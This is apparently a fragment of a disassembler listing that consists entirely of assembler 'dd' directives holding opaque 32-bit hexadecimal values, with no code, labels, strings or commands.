		dd 47577AC8h, 0EE808133h, 0FC1A2C6Fh, 0F01228F3h, 96F94E68h
		dd 31E81899h, 50292F91h, 5012B36Eh, 0C75B27AAh,	55F91EC8h
		dd 0BC7ED2F1h, 819218Fh, 0E189AD16h, 737B460Eh,	67093327h
		dd 6B044842h, 0D6F7F531h, 98F0CC2h, 0FD13D10h, 7951CB8h
		dd 5B100383h, 94781E68h, 0B9534501h, 7A7409E4h,	21847FFBh
		dd 0BAC5FEF7h, 0C22367AFh, 0D4F4B34Ch, 514D1643h, 0EEF8980Eh
		dd 1FC9B548h, 76D8C058h, 0B0BD8351h, 0A2F11807h, 216602DEh
		dd 0DAF75EF2h, 3ADCEDC0h, 28BA84Ch, 9C192BC1h, 0E121600Dh
		dd 21A71846h, 4A0E0E41h, 27C2EA76h, 0E0963632h,	4A1AE9EDh
		dd 792FF618h, 0A9FD325Bh, 0E910ECB2h, 0BAAB4B47h, 0DB09538Fh
		dd 3EDEFEE4h, 7EEF80C1h, 0C7740E7Ah, 92FCE9A5h,	0BCD55837h
		dd 0A92DAA16h, 86372FA0h, 9F65A9E9h, 5D0F5EDEh,	0A88A1201h
		dd 0F60C2242h, 0CC4A66E9h, 163C68E8h, 0DB29962Fh, 40E11D89h
		dd 0A479177Ah, 0A509F365h, 193DE3Dh, 470FBA7Bh,	5555DE42h
		dd 0E775AB89h, 44E98456h, 6AE2FE1Eh, 0EE90E712h, 4C75B2CCh
		dd 88D47D6Fh, 0E977D04Fh, 0FE5BF5BAh, 40360C2Ch, 429F5D5Eh
		dd 2ED8FD08h, 3A4FC50Fh, 2DF80504h, 0E8030712h,	150DA968h
		dd 7933F33Fh, 5BE6BE01h, 0D6D12095h, 0A527F4B9h, 0AC702E5h
		dd 0FF715DCDh, 0FDEB52C4h, 0F7810091h, 8D3AC8DEh, 827BC89h
		dd 78AFB0A6h, 6A494557h, 8B89B4ECh, 1DBBD5C0h, 20283800h
		dd 1B11CB81h, 0BF4F5F32h, 452C3F58h, 0F56DC06Ah, 37E2B908h
		dd 0C4F58FBDh, 0CEFE056Bh, 12024802h, 0F0E2033Ah, 15286809h
		dd 50000C53h, 0A45ABB8h, 16057562h, 578FE54h, 0E29A9E13h
		dd 3095D08Ah, 51C291B7h, 30216263h, 8F08D0B0h, 96BA8E08h
		dd 42C9AA44h, 0AA056CE1h, 15595CA0h, 0BDBF685Fh, 4E90BC5Eh
		dd 68C3F4B9h, 21126741h, 1312E574h, 4E7B9BE4h, 0E27BE863h
		dd 0DCD9E250h, 54018BD3h, 5B47EE57h, 0ED49A197h, 0B5E93B0Ch
		dd 80B450E1h, 0C480CC7Ch, 76E288B2h, 9EC23858h,	0E95BD330h
		dd 0FBC1E579h, 9A40A8C1h, 0E3C0C03Ah, 2A2E1C60h, 0D56B275Dh
		dd 0E2B89010h, 7958D8CBh, 9F2995E7h, 0C5E5E913h, 3B9506C3h
		dd 5010C8Ch, 7F5E7C3h, 0BC7FC501h, 2181F5C6h, 0B024D1E9h
		dd 79F22F68h, 7CEBCF71h, 0B871C21Ah, 85CAF98h, 166058A1h
		dd 69369C71h, 0C7458C75h, 22CB30E9h, 70646816h,	0CC0F55B3h
		dd 0AC7F4D2Fh, 29A53F8h, 81424A77h, 92E166EAh, 5AF02A76h
		dd 6E2F4169h, 29AB0C17h, 7EA948B4h, 0C9A02F58h,	2DF66195h
		dd 103CF27Ah, 680AA6F5h, 69822379h, 4D8C6840h, 591BE414h
		dd 580740D8h, 254A5FECh, 2E106FE7h, 2612CCAh, 0AE6FA25h
		dd 1277A0E2h, 50C200FAh, 0E9053D9Dh, 0F8C4224Eh, 209090ABh
		dd 81FCAD30h, 3CDFF607h, 0CE603AD5h, 603E402Ah,	5C281831h
		dd 0CC15E1Fh, 13C1350Fh, 64E82482h, 22C02AA8h, 0F825F9D8h
		dd 226D7CCDh, 679AECE1h, 0F0E79151h, 68019911h,	0BD7A9135h
		dd 20484BE9h, 0C8F4DD2Dh, 82C6B563h, 9AD157E8h,	0B61EE906h
		dd 0B5511724h, 2971684h, 0CCB35394h, 6951F977h,	0E7BD70D7h
		dd 4648016Dh, 0B8023B5Ch, 67523374h, 3500657Ch,	2A734F8Eh
		dd 57E01D0Dh, 1C25019Eh, 0D4437137h, 0F9017C59h, 7730353Ch
		dd 162B61ABh, 415DBA8Fh, 0D70949A6h, 0B7FA556Ch, 0B731F102h
		dd 7789C2B0h, 200802ABh, 0A56705E6h, 4DAE521h, 9902EF08h
		dd 0C06563DCh, 82A0FD95h, 5EBF9758h, 0FA0C3536h, 4AE942F0h
		dd 9E0C7B1h, 0E0D48C10h, 404EDF82h, 0FC7E110Ch,	0FEF36479h
		dd 0FD865B03h, 3372CEFDh, 296F29AFh, 0B8D41057h, 0F4195F28h
		dd 842097C5h, 996A43EAh, 0BC0C82E5h, 762A4616h,	0D008A003h
		dd 0D860140Ch, 0A210C3EAh, 0FA01711Ah, 5608041Eh, 575AF4AEh
		dd 1299BF01h, 0EFD15A06h, 3277073Bh, 2B762979h,	53AAC292h
		dd 5A5BECEDh, 4A502B8h,	4123364Ch, 0E52BD8EEh, 9BF151E5h
		dd 43820E6Eh, 0BB8F63C4h, 4FD44A98h, 0AA6864FBh, 0E4DCB874h
		dd 0FEED273Bh, 58B514ECh, 0F77D4AA6h, 65EF5E68h, 9C2EDB0h
		dd 0F5AAB8E9h, 914EE896h, 0F1A25AFCh, 8AC16555h, 770C5Bh
		dd 4D1A3E71h, 0BDA0F521h, 0B5F0B1CDh, 0ED04627Fh, 0E784F33h
		dd 0EA9FC5EBh, 490238CBh
		dd 317996F4h, 82FFAF62h, 0B4742CEh, 6B92EF03h, 381E12C9h
		dd 2AFB52Dh, 2FC9685Bh,	816292F1h, 78A1FDEFh, 0BAC56FE9h
		dd 38FD5AB9h, 0EE6C2F7Bh, 877060DEh, 3A56BD14h,	607750EFh
		dd 0D4C26310h, 2132F76h, 950FD2F7h, 0A55022Bh, 0F10E6153h
		dd 0EFEBC407h, 5A68F747h, 0B289A6FAh, 0B811E8A5h, 0BB16C412h
		dd 5087AA6Ch, 7646ABA2h, 0D001E2C3h, 57D018DFh,	0CA8284BFh
		dd 181FA54h, 0F0F9E9FEh, 0D029A751h, 3D14A63Ah,	0DEBD8F55h
		dd 188BF468h, 0CD0A7744h, 153F6384h, 0EEFC09E1h, 6852D502h
		dd 938CDCBCh, 2AFE5065h, 0BA9F09D2h, 9BDFC3D5h,	0FCB98EEh
		dd 3C5129E9h, 0B59604B5h, 5216ABA9h, 2682C908h,	265E248Bh
		dd 35F20AD6h, 0E1892D90h, 8CBACFD7h, 12A4F19h, 4F7C658h
		dd 9ED7CE7h, 3E384480h,	0B4B34FBEh, 3F601285h, 6132F257h
		dd 60F7F2BFh, 16CE10DAh, 92B773A6h, 0B3CE5DDCh,	0F589009Ch
		dd 98FB4627h, 0EBBD5EE9h, 2FE95E68h, 0B3519EF4h, 503A124h
		dd 34371153h, 0AA0D017Ch, 0DDEA8084h, 0FDF470C3h, 3C576003h
		dd 135F4EE9h, 45DEFA1h,	0B3EB705h, 6263F5BAh, 0F05F4A7Ch
		dd 612A16B1h, 3DD28CFAh, 28020B8Eh, 9064F5C3h, 9FB6C09Dh
		dd 0D6C10480h, 56D540E9h, 2B8E9DEAh, 662564BCh,	1A9C9CF5h
		dd 79635B68h, 0B2C2D75Ah, 0F6FEE551h, 8EB8C0E8h, 0E5F2169h
		dd 5EE94904h, 0E3045AB9h, 0B0FB319Dh, 7AB70222h, 0CEC30495h
		dd 0AA74762Dh, 1DD7FFD1h, 58C78800h, 0CBE473BFh, 8A4F3AC3h
		dd 5A38FD2Dh, 3D7EAC96h, 315A177Ch, 34E91038h, 802CDDE0h
		dd 4C64F3E8h, 161C7C3Eh, 0C2ED569Ch, 2934F912h,	0A7132FEBh
		dd 686E9CAAh, 469F5290h, 9DB6307Ah, 0B9515C3Eh,	2F4A9C09h
		dd 2F08583Fh, 9678EDC1h, 33AA1B0Ch, 0FEF1D0F6h,	482B735Fh
		dd 84188F5h, 0EA4E2468h, 56E98702h, 0D5294959h,	0C9C92BDCh
		dd 0A3F6F80Fh, 1472D00Bh, 0E5182028h, 35D8F702h, 0E3FCDFFDh
		dd 11EAE8FAh, 0BB024F36h, 4A08F010h, 96A5ABD3h,	0BDDFDC9h
		dd 6DDB1062h, 3684CF2h,	5238685Dh, 0CFAB4B1Ah, 4D441674h
		dd 267740B9h, 0C952FB98h, 0BA6EA2DFh, 0B251551Eh, 0EE19A4A6h
		dd 4B89872Ch, 8D362DEh,	6A714E12h, 0B67F4D01h, 809B19DCh
		dd 0A03B5635h, 237C6212h, 18B53E32h, 26B4F849h,	0B191879h
		dd 0D5E4E083h, 0FD92315Fh, 87B3009Bh, 5B48D828h, 0BF023E90h
		dd 9F8CDA55h, 75FEB567h, 7A0C4C73h, 39F1292Dh, 5FD53599h
		dd 8F4902Eh, 463F882Eh,	64BAF952h, 18866812h, 0F0C4F8B8h
		dd 0B524FBA1h, 0C2A455A8h, 84D0AD76h, 4434E58h,	0CC2D7C97h
		dd 0AE5A96F8h, 49686629h, 0A6055A2h, 18952AE1h,	82159254h
		dd 5CCECC0h, 0E0BE9069h, 281F21A1h, 74AB19E6h, 0BA562555h
		dd 7B2D4376h, 0F2742740h, 0D9A185C4h, 0C3DB68D4h, 5AF3300Ah
		dd 0EBFFDC9Bh, 549FA778h, 0F97DE93Ch, 3B4B1AB3h, 51587C5Dh
		dd 0FBF42B51h, 485A75D5h, 0A14FBEAh, 0BED3C606h, 0C09312CBh
		dd 6F3CBE27h, 0E90EA505h, 0AEF9DC79h, 9EEF2307h, 7FCEB692h
		dd 53AD5A4Eh, 0B00DBC93h, 3F0EA1BBh, 0CB8E1333h, 3627566Fh
		dd 9001943h, 37775EEDh,	0E9DD8904h, 7BA9CAB9h, 27D8D22Dh
		dd 0F7EB94D3h, 3DBB5EABh, 0F0E37AC2h, 8DDA8416h, 8C17D05Ch
		dd 0C63C80B0h, 0CB38BD45h, 3D808AB8h, 31F418D0h, 74E9F10Bh
		dd 88A5D1B8h, 0B12FA7B7h, 0D248308Bh, 14DA4179h, 0AA83FBDFh
		dd 8EA8E105h, 0B5CA2448h, 89558D09h, 589F563Fh,	0B1811582h
		dd 4C9C5B30h, 1A4E077h,	0B556C588h, 0E9267046h,	64A13C25h
		dd 4FB0F0B0h, 8B65FE55h, 35B5A3AEh, 62FAB021h, 0F8418BEh
		dd 11CEA9ECh, 0C30265Fh, 4FB75344h, 908AC4B0h, 6361A600h
		dd 460C56DBh, 1407E6C1h, 8B2B092Fh, 5FF48986h, 0BC4F4080h
		dd 9BF5761h, 18011073h,	7F12EC00h, 0E9131626h, 46496650h
		dd 74F0DD96h, 63E05F4Bh, 0CB282671h, 792C18DEh,	0D3254DEEh
		dd 41A37042h, 0A00CBD6Dh, 0D35E4E6Ah, 0AD85C7EDh, 0E3BFD3F6h
		dd 0C8E90C63h, 0EC9522F5h, 2D144963h, 216EEB39h, 30140BCDh
		dd 195AB15Eh, 719AD34Eh, 7891C903h, 0E5D97DF2h,	51257A3Eh
		dd 0B22F5CE1h, 0A43CA303h, 5E7BB2EFh, 0AAF585F8h, 0E90A798Ah
		dd 93F97917h, 0D337FFEAh, 76E037D2h, 2BC06DF3h,	3CAA6F12h
		dd 2549E9E1h, 63C02428h, 903F088h, 0E1F6E6D1h, 0F84CA583h
		dd 0FE8EFA65h, 7BA1FD9h, 0A5449949h, 7B2BB113h,	0C1D381E3h
		dd 50D7546Eh, 2DE801D6h, 0F95BA704h, 0B9C05D57h, 640933D0h
		dd 14FA903Bh, 0FDC72599h, 50043D0Bh, 7ECAAA66h,	0FC68C1D3h
		dd 0A7CC3F11h, 0CE604A3Bh, 37680BC1h, 7785B11Bh, 0B317FB6Ch
		dd 1FF0353Bh, 805D9788h, 3EFC2DAFh, 0CE23C832h,	0E9078705h
		dd 35160B65h, 84E8C5FBh, 0A8E1EE8Fh, 5DF85C42h,	0D9EC7E8Bh
		dd 0CD640D0Bh, 0A5935C72h, 0F3A325Fh, 0FC656394h, 2B8C3E58h
		dd 0E7EE6BE0h, 563BA213h, 5D95129h, 0A018AA08h,	4ACF68C0h
		dd 732DCC07h, 32253F12h, 20CD81BFh, 8159002Ch, 64F609E6h
		dd 0F4041FAEh, 0EBEFC006h, 767F4274h, 2E17E300h, 0E9434EF7h
		dd 0E93B5D72h, 8995D73Bh, 0C030E084h, 4E0D07Ch,	74FE093Ch
		dd 0C2882209h, 28F80758h, 0B2E9D300h, 497B9772h, 175E59E9h
		dd 0B717C031h, 0F979881Eh, 5DA6C12Fh, 0C2894630h, 0C00DE180h
		dd 0E70BD1Ch, 81045307h, 32839E5h, 0EEF53181h, 0BEFACDC8h
		dd 0BA011D11h, 0FEE1C60Ah, 63C28085h, 2973F953h, 8932D15Eh
		dd 20536087h, 0F238B741h, 93C1F53Eh, 0D8F65DB0h, 55AF43E9h
		dd 55254974h, 0D85919C1h, 0AA256FC0h, 2033747Bh, 9FC9B007h
		dd 0FF05EE05h, 0F4E999A1h, 0EA4B933Ch, 4D7FA3CAh, 8B4F510Fh
		dd 18F25854h, 0EB214A2Ah, 7014135Bh, 0FF77C41Ah, 2384864Ch
		dd 460B766h, 0B6C9F2CFh, 0FC3907ACh, 0DC892538h, 9127C845h
		dd 3A65D643h, 0F47BF96Eh, 30B046ACh, 3B9759E8h,	10624C49h
		dd 0CC888301h, 2BEAE9h,	12614CB8h, 0AAC103F6h, 0DB692B04h
		dd 851868A3h, 84F3F9A2h, 19D5614h, 5C7820EDh, 8C80FC2Dh
		dd 0E97EF17Bh, 0D9ED382Fh, 80EB01A0h, 2B5F04A9h, 662316E0h
		dd 0C0DB1F55h, 0C6B2BF0Ah, 290892F3h, 0F8890B7Ch, 406204h
		dd 214F62BDh, 754D7B23h, 26EC9D7Dh, 0C42FE441h,	0CD9BC043h
		dd 0EAA37C26h, 0D102159Ah, 0DD6461E0h, 92832C01h, 0BC92B3E8h
		dd 573362FDh, 8B13B57Eh, 5E014498h, 64188C7Ch, 7F887040h
		dd 13AEDEBh, 6968AC29h,	0C4D2280Ah, 0BA017964h,	0C9540C55h
		dd 81AE2131h, 9E59DF6Eh, 842E0136h, 93081519h, 29236809h
		dd 0EB71836Ah, 6C027F27h, 364C91E2h, 52258825h,	987B204Ah
		dd 7AEF03A1h, 0F26B36E5h, 663CC8D3h, 42B73783h,	97C44A53h
		dd 0DEF2638h, 2B319707h, 7686A65Ah, 66D62D4Fh, 50B25302h
		dd 0EAFC57A5h, 0E0157D84h, 790189C5h, 292238E2h, 7B58B26Ah
		dd 227ED2EDh, 0F8477E82h, 86958073h, 0BD8C07B8h, 0D95D1EC2h
		dd 24DF6833h, 0A5686280h, 0D8C1CDB2h, 0F06E164Ah, 2527BA51h
		dd 81C2EEE9h, 89EAB441h, 53DE3164h, 7D97A8FDh, 2568E80Bh
		dd 0BB654C32h, 7D958109h, 4091A71Ch, 87F0681Eh,	9F19B4E9h
		dd 0F20CDC44h, 0F0997283h, 9D7B50C2h, 4090904Fh, 0E326C0C3h
		dd 0EA108C03h, 5C47FF4Bh, 5599D4C9h, 0FBE8A25Bh, 30FA8C4Eh
		dd 17759756h, 66BE818Ah, 4033FE52h, 39473EEDh, 0C301560h
		dd 5B1DC501h, 0A7B5A809h, 0CB3200DBh, 0A329EB77h, 0B498D39Dh
		dd 6EB1CDEAh, 0DB4F44C1h
		dd 0BE56C151h, 487F7672h, 0FB272BF0h, 173C4851h, 2A4043C3h
		dd 5F414C98h, 0E4310C05h, 63EDC8Ah, 61651402h, 0DD5EF701h
		dd 0C0B8728h, 0AF265A58h, 190D0F14h, 4D177480h,	0F8B93B0Bh
		dd 89E60630h, 26AAF9Eh,	0E3CD9D49h, 0D2A5B07Ah,	13B54104h
		dd 12D533E9h, 16566CF0h, 0B33AF468h, 1B4404F4h,	0C1BA6D32h
		dd 30EE83D5h, 0F3BCEACh, 0F216246Ch, 68029010h,	0A9B2A9Dh
		dd 80CD1CC0h, 0D7052325h, 120564C3h, 8E643E7h, 1FB880BEh
		dd 664C9624h, 0A1F70233h, 810158D0h, 22D7E9B1h,	0D8C0F575h
		dd 1CB77953h, 9380CFFEh, 8982BABDh, 51522095h, 505ADCB5h
		dd 16261BBBh, 2058C6A9h, 0CC40AED1h, 0FC657CBEh, 3803906Bh
		dd 6C985A52h, 0CE994C1h, 0C3C80B4Fh, 88521C53h,	5AF38EEEh
		dd 0B5F004B6h, 99F416DAh, 9617560Dh, 195A9C04h,	3690EB51h
		dd 0F85BD4F2h, 0B461EF34h, 0F3540971h, 67FC97DDh, 4FF0B6B0h
		dd 0C88DCE04h, 1B0FEB8Fh, 0C9FB1737h, 0CB305DDDh, 94C2D64Eh
		dd 0E15BE380h, 0EBD801BAh, 0DD280643h, 77AA92E9h, 0A467F80Ah
		dd 1909B06Eh, 20A3AA83h, 4A009617h, 29DD6188h, 0EA8EC8C6h
		dd 0BB531E30h, 10591245h, 80C3F119h, 34724892h,	0BFAAE906h
		dd 9387D18Bh, 11DA124Dh, 4F4E38FFh, 3E2CBAE3h, 0A35F8BC2h
		dd 0E8B096E5h, 1EA22FE9h, 2EFD6B52h, 0D528E532h, 0E90914FBh
		dd 317DA942h, 97F156B2h, 680B783Ch, 0C0463EECh,	0C57BCA12h
		dd 79FC0E04h, 4804B2ABh, 51A007E3h, 0FF9B4410h,	0D375BA29h
		dd 7FDE4968h, 0B405FC25h, 118DBF0Ch, 291DE42Fh,	4D21FB58h
		dd 7F542DE7h, 7C0B012h,	442D035Ah, 0BA12E34Bh, 5F32616Ah
		dd 338A043Ah, 16B7B72Ch, 0C8FE29AAh, 0CBB65A57h, 816DDC25h
		dd 536F2D5Dh, 0DB777012h, 6223444Eh, 4AE7CA51h,	0DCBA905Fh
		dd 203BA0Ah, 0E190258Ah, 0D675DA29h, 8481130Dh,	0DCACEB3Ch
		dd 0E9789A8h, 72D6612Eh, 1E3B6C61h, 0D3C740D3h,	29C4C2C6h
		dd 172F9EB8h, 5B6E641Ah, 0E40FF950h, 55E1C2h, 0FEBEF181h
		dd 2EB94424h, 31FA8C16h, 0D8607ED4h, 57970938h,	0AB05B205h
		dd 0EE3DC3F2h, 3E8C4A0Ch, 1116320Ch, 1E90683Ch,	2294CC6h
		dd 0F201DE16h, 0A5FEF9E9h, 69975925h, 0E910B080h, 0BEBBBBA5h
		dd 0C6B17E17h, 0F98DF87Eh, 9D5FB35h, 3E05CA2Eh,	4E34965Ah
		dd 153821B6h, 5916D28Bh, 77695C00h, 21167122h, 681358C1h
		dd 528BBA8h, 782C0B99h,	0A2751955h, 0E41AE20h, 87A81C13h
		dd 195866C1h, 120CB886h, 0EC06F265h, 0BCD917AAh, 0A5498CDh
		dd 2AA82768h, 1C790056h, 0D2FDE86Fh, 7B455921h,	0E0C17685h
		dd 0DA488007h, 2C7E1C19h, 7FDE492Fh, 0ECDC52B3h, 34888711h
		dd 0C3E53E6Fh, 0C580C969h, 6ABBCAF3h, 6F4C7669h, 92EFAE7Dh
		dd 0ADF3BA01h, 0DB3CAD96h, 0F74E25B6h, 77B0A3A0h, 40B7D6BFh
		dd 2FC0098Fh, 96C228E9h, 2783EC5Dh, 327BB1B3h, 0FAB25284h
		dd 0AC2382h, 0F473CD35h, 4AFC7B4Fh, 0F2601F04h,	75A0BF06h
		dd 15340BF6h, 0EB1301C6h, 0C3E8D0B0h, 8955110Bh, 672577F5h
		dd 4E8AD30Ah, 17E63B04h, 0F781382Eh, 0C180027Ah, 0DC4B72F5h
		dd 564B5211h, 2D8F17E8h, 5106AF02h, 3ACE057h, 0EF33C920h
		dd 0D961C357h, 632CF804h, 0FEFC42C2h, 8FF0E7F2h, 0E8443B4Ah
		dd 0D2E4CDB0h, 0FE3D001Ch, 0E52E0577h, 158F787h, 727F102Ch
		dd 0CBEF291Dh, 4E249A3Dh, 0CBC5EFB2h, 5BD5C797h, 0ED4A72F8h
		dd 0A0C098F3h, 0FD33A0E2h, 228B3D0Ch, 81831AACh, 4D6760BDh
		dd 4C317010h, 7FF39217h, 0F20A280Fh, 0E907C86Ah, 19FFE7FEh
		dd 518AFFBEh, 3109C57Ch, 4A225DC3h, 0D655288Dh,	30BB783Bh
		dd 47023812h, 4325D7BCh, 3B1E2961h, 8D1C4744h, 30719916h
		dd 4D043919h, 0E7C178EAh, 0F81170C2h, 68D4B53Fh, 0F78254E4h
		dd 0BC4F785Eh, 21EF050Bh, 180EFCBh, 1ABB29B6h, 7B06E955h
		dd 0E817D8F4h, 0F55C37EAh, 0F6A8F4A8h, 0AD1D5E09h, 9A98DD50h
		dd 571D25E2h, 0EA824993h, 602FADD8h, 826D48F3h,	0BBFB10D7h
		dd 8F87820Dh, 47688FF6h, 3646F027h, 0E6AACEBAh,	9506C495h
		dd 3C7459C1h, 3DAA4B57h, 0F32D6F70h, 93B56978h,	0FD9A75DAh
		dd 443D2240h, 6C2C4C99h, 0BC2DAC1Fh, 0D19220ACh, 93F1013Bh
		dd 0DCEF6EB8h, 0FB5ABE69h, 0E284C4B2h, 4035544Ah, 21F2D8C8h
		dd 0F9BF0400h, 310E0658h, 53E92DF7h, 49B86CE0h,	9EE361Eh
		dd 0DF1ED0DFh, 0D7055832h, 0D495B078h, 7966A86Ah, 7CA1269Bh
		dd 6FD302B0h, 9C61078Dh, 555A02E2h, 0F6F615FAh,	0EE9FE07Bh
		dd 81084AFEh, 0DC84B6F9h, 0B69C73E6h, 13E9175Eh, 17FE446h
		dd 882AEE79h, 86D3A74Eh, 0C8313C44h, 6C2062AFh,	0F6021570h
		dd 98F780D7h, 449F6028h, 0C1DBC045h, 23140C57h,	578E1EAh
		dd 6198AADCh, 9BCBA3Bh,	51565501h, 3543128Fh, 30971F40h
		dd 7B63430Dh, 0EF00117Ah, 52FEB4Bh, 5E790F27h, 0E9D5E034h
		dd 4E7A0924h, 301855A5h, 62B6AA4Ch, 0E073E95Bh,	0B182977Eh
		dd 385A669Fh, 6853C1F0h, 0E53855ECh, 92DAB93h, 33D7D500h
		dd 49470C7Dh, 8E2D9F7h,	38936813h, 0BBCF31BBh, 612ED0A4h
		dd 802CD495h, 0E20EA0F3h, 0D81389E3h, 0CD54A2E9h, 0F083109Ah
		dd 59415526h, 8CCADC5Dh, 12502D01h, 9C98E952h, 0FD98913Bh
		dd 123BBEFCh, 0CFDDDC2h, 55D601C6h, 3A6A49A2h, 5043F675h
		dd 189DBA85h, 31184CD4h, 43705EABh, 0C6742A38h,	91EEE0D5h
		dd 0A7CCB26Ch, 42A2DB86h, 6F91DAFh, 0C433999Bh,	0FD5FABC2h
		dd 0D831F398h, 209244BFh, 882658EAh, 7104CE8h, 3533015Ah
		dd 889FF7BAh, 13CD48C2h, 0EE4BA54h, 2E2BFCB9h, 2AF3617h
		dd 6796568Bh, 9002DB87h, 780411C9h, 20490F37h, 2698FB90h
		dd 172F25E9h, 0CC5006FCh, 0F0A0A675h, 8D7C6691h, 8F20E4E3h
		dd 0EA8003F5h, 68B551D5h, 0CEC86A87h, 0A3F0AF13h, 31DC69E9h
		dd 49BC5377h, 0ADC3B17Eh, 0E3833BBDh, 2B8931AFh, 0B4D75D9Bh
		dd 2774A25Ch, 0F071F65Fh, 499ABDE9h, 2503687Ah,	89594E72h
		dd 68C3EACBh, 0B8EAC060h, 0DBB10043h, 5318E180h, 280679B3h
		dd 0C1FE5BD9h, 9C97F05h, 0CA307DF1h, 0A324B684h, 5B0E04F9h
		dd 0F4AE6C40h, 0B47D861Fh, 112DB503h, 0F1439A46h, 74505D0h
		dd 0C7B1E9E8h, 0E9B33E58h, 5056E909h, 4E05217Ah, 29633B05h
		dd 8400DA8h, 261EC05Fh,	15AA40Fh, 408098Ah, 0FE8D928h
		dd 2092EB3Bh, 0BFD5AF04h, 0F2115D82h, 0C940FEF7h, 0E557507Dh
		dd 4E4CA832h, 313FB0Ah,	50A372AAh, 9502E4F7h, 8F19B2E0h
		dd 0CF25657Bh, 81165D03h, 0D74ABE00h, 79E92B5Dh, 6256B1CCh
		dd 675F7359h, 622126EFh, 7F0BDA31h, 1D958814h, 0A1C267Bh
		dd 40B88AFFh, 4CBA109Ch, 234F9BF6h, 87A33CEBh, 7A2C2FB9h
		dd 717BB9C1h, 13D13DF8h, 0BC2DE9E1h, 64AA4A33h,	4696EC17h
		dd 47A90B8h, 174E6F57h,	0EE2E34E8h, 95688915h, 74C08B5Eh
		dd 0BD2EB437h, 6771F8Bh, 50705EC0h, 4EE99259h, 15E0E6CEh
		dd 80C7704Ah, 3DAEB4ADh, 3B8C26E9h, 34A6C00h, 7729390Ch
		dd 2F85B4Bh, 68A76BE5h,	64D44185h, 0EDE27D6Bh, 67C6BC00h
		dd 29265616h, 1A00CBCAh, 0E9152E38h, 302541ECh,	677C7C3Dh
		dd 0C1495D1Fh, 0BA407077h, 0F1313654h, 3E34A7EDh, 0E0425BEBh
		dd 44B808B2h, 0D7826C78h, 0C968CFE8h, 0C8A5456h, 52591B2Ch
		dd 0E6ED76CAh, 3FF0A03Dh, 165AE048h, 0E801C283h, 4CDC3181h
		dd 0B4C0BCBDh, 78681464h, 1DEF740h, 3181598h, 0D11898Bh
		dd 53833912h, 404C5760h
		dd 63B7ADF3h, 0B80C50D4h, 8E064A5Ch, 0D53F7EA0h, 0CB2965E4h
		dd 7F6EE3BAh, 19FB1B27h, 833FE397h, 0EFBAD9F7h,	0F8589B82h
		dd 0FC38A0D7h, 0A2381D78h, 3DE8DDAEh, 62021E2Dh, 0F3E94DC7h
		dd 854D7E09h, 838E307Ah, 50B9CB13h, 27F86E0Ch, 5C25130Bh
		dd 9569EDD0h, 1C4C75EAh, 6680DE7Bh, 52969F68h, 0E7C0020Bh
		dd 0A78F03h, 0F8280E04h, 0D489E92Ch, 0F066C35Fh, 6C9B6E55h
		dd 768727FCh, 0B453CE3Bh, 1D136F39h, 0F1E15369h, 0E2050704h
		dd 0C58DF10Bh, 6C7EC501h, 0F7FAD4E7h, 0C1C23B81h, 2D7B006Eh
		dd 9003628Eh, 77954BB0h, 48410E0Bh, 4F326CE5h, 8B8E96F9h
		dd 0E7ADE8F7h, 45F97E99h, 2194A193h, 0E6BC2E44h, 0AB6122A0h
		dd 41FF444Bh, 60354E48h, 0DF5D87Eh, 0DC886B3Bh,	0A004773Bh
		dd 0AAE99B37h, 4B0454F0h, 287781EEh, 0ADFD2EFAh, 0B81EB930h
		dd 0B52D0864h, 0C4B7E22Eh, 0D00424D5h, 0DD8F38ACh, 0ED40455Bh
		dd 0DCA8FCB0h, 7505E9ECh, 1433764h, 80997D4h, 0A561655Dh
		dd 5DF3E27Dh, 0C9A582E8h, 196FF52h, 0D6449368h,	0BD2E5D62h
		dd 8DCC40B6h, 32EBAC5Ah, 4CD66C99h, 0ADAFBB64h,	0A8F02815h
		dd 0EE14DF95h, 2089505Dh, 6F0912D6h, 8FCAFE1Ch,	0C94BD83Fh
		dd 2BB03ECFh, 0EE893F58h, 98886115h, 9E72BF1Eh,	0E217893Ch
		dd 0DF1B82C8h, 7A14FFA9h, 41080428h, 806E2098h,	10164D12h
		dd 50C72107h, 3CE90360h, 0E24D9D64h, 0A56807B0h, 4A6F9F72h
		dd 0BB4B8390h, 2DE9D378h, 2460DA7h, 3A1D25BDh, 62FA07C5h
		dd 506AC73Eh, 73AFE00h,	0DF6F22Ch, 0B150C5Dh, 5A6856FAh
		dd 0F814FA6Eh, 0DED9B7FEh, 48C1C66Fh, 52109537h, 0C2978268h
		dd 0AC1EF7CCh, 7D07722Ah, 5C2F8FB5h, 0BABC4197h, 0F210F0D6h
		dd 65BA5413h, 58CCE4F1h, 54876FCh, 4C20AEF7h, 17C0AB10h
		dd 4FE9D601h, 5DCD0BE3h, 92CE557h, 3930501Eh, 32034215h
		dd 0C4C3816Bh, 0B0B09B38h, 307AD7EBh, 0DA9A1BF5h, 205BA857h
		dd 8D50BFFh, 0A0C692F0h, 50E51A7h, 0BE603F2h, 0B4A90B67h
		dd 2B00AE72h, 11BFC46h,	553D68D7h, 89E27B4Eh, 0C543E80Fh
		dd 9C20BDD3h, 53856A57h, 3EEC11Eh, 77348179h, 0A0E93F06h
		dd 257F977Ch, 9668A668h, 3AF70DD7h, 60872DBBh, 0E617723h
		dd 0FEE58014h, 80CFC5CDh, 0BF5B59E8h, 28E29076h, 0BCB800C2h
		dd 0F82FD0A0h, 9072EC31h, 33ED0915h, 1DAE6EBFh,	5D2F0854h
		dd 16BF5C79h, 31FAA706h, 744AA09Ah, 2A4B9369h, 0AC5BF7CAh
		dd 0F7BBD29Bh, 0C083126Ch, 0A58CFBEh, 0F801F7E9h, 0BE66A1BCh
		dd 0C5D71096h, 17711EE4h, 4A7C8A21h, 68525961h,	32905A08h
		dd 12C726E7h, 7685CAE9h, 0EFC775EAh, 4E727F4h, 21FF11F4h
		dd 3F23C8DEh, 2AA2FB4Eh, 6EFBF01h, 0F3312F40h, 7EA23FAh
		dd 30E0FC60h, 0C05BFC07h, 7DE208E4h, 0CA0CE81Fh, 0D0EA0980h
		dd 6C7D5966h, 0C5C8F7E1h, 5238A058h, 54080CAh, 7A475009h
		dd 4389F511h, 0F151275Fh, 55887832h, 0E0BB5C84h, 0D013F7E2h
		dd 9B125295h, 296672C1h, 0D15F9AF7h, 753973Dh, 0D7488409h
		dd 3E0FFB5Bh, 5F370637h, 0C3110A18h, 69013C98h,	41F2E9F3h
		dd 62824CFFh, 6FD8191Fh, 0C113CA7Fh, 5F8715B0h,	6B4D82DEh
		dd 69A38E0Ch, 4FD3D22h,	8ABFCB15h, 33A34ED3h, 58C4C810h
		dd 72CB8FBEh, 0FB7805A2h, 0B8037F28h, 1EB44BBDh, 92DCCFD2h
